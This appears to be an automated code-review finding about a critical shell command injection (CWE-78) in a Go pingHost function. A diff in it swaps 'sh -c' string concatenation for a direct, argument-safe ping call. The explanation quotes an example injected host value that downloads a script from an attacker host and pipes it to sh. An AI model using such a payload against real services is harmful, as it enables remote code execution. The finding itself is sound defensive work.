CRITICAL·CWE-78
The 'host' parameter is concatenated into a shell command executed via sh -c in pingHost, allowing arbitrary command injection.
Why it matters: An attacker supplying a host like '127.0.0.1; curl attacker.com/x.sh | sh' achieves remote code execution as the service user.
| - | return exec.Command("sh", "-c", "ping -c 1 "+host).Output() |
| + | return exec.Command("ping", "-c", "1", "--", host).Output() |
ResolvePR · confidence 99%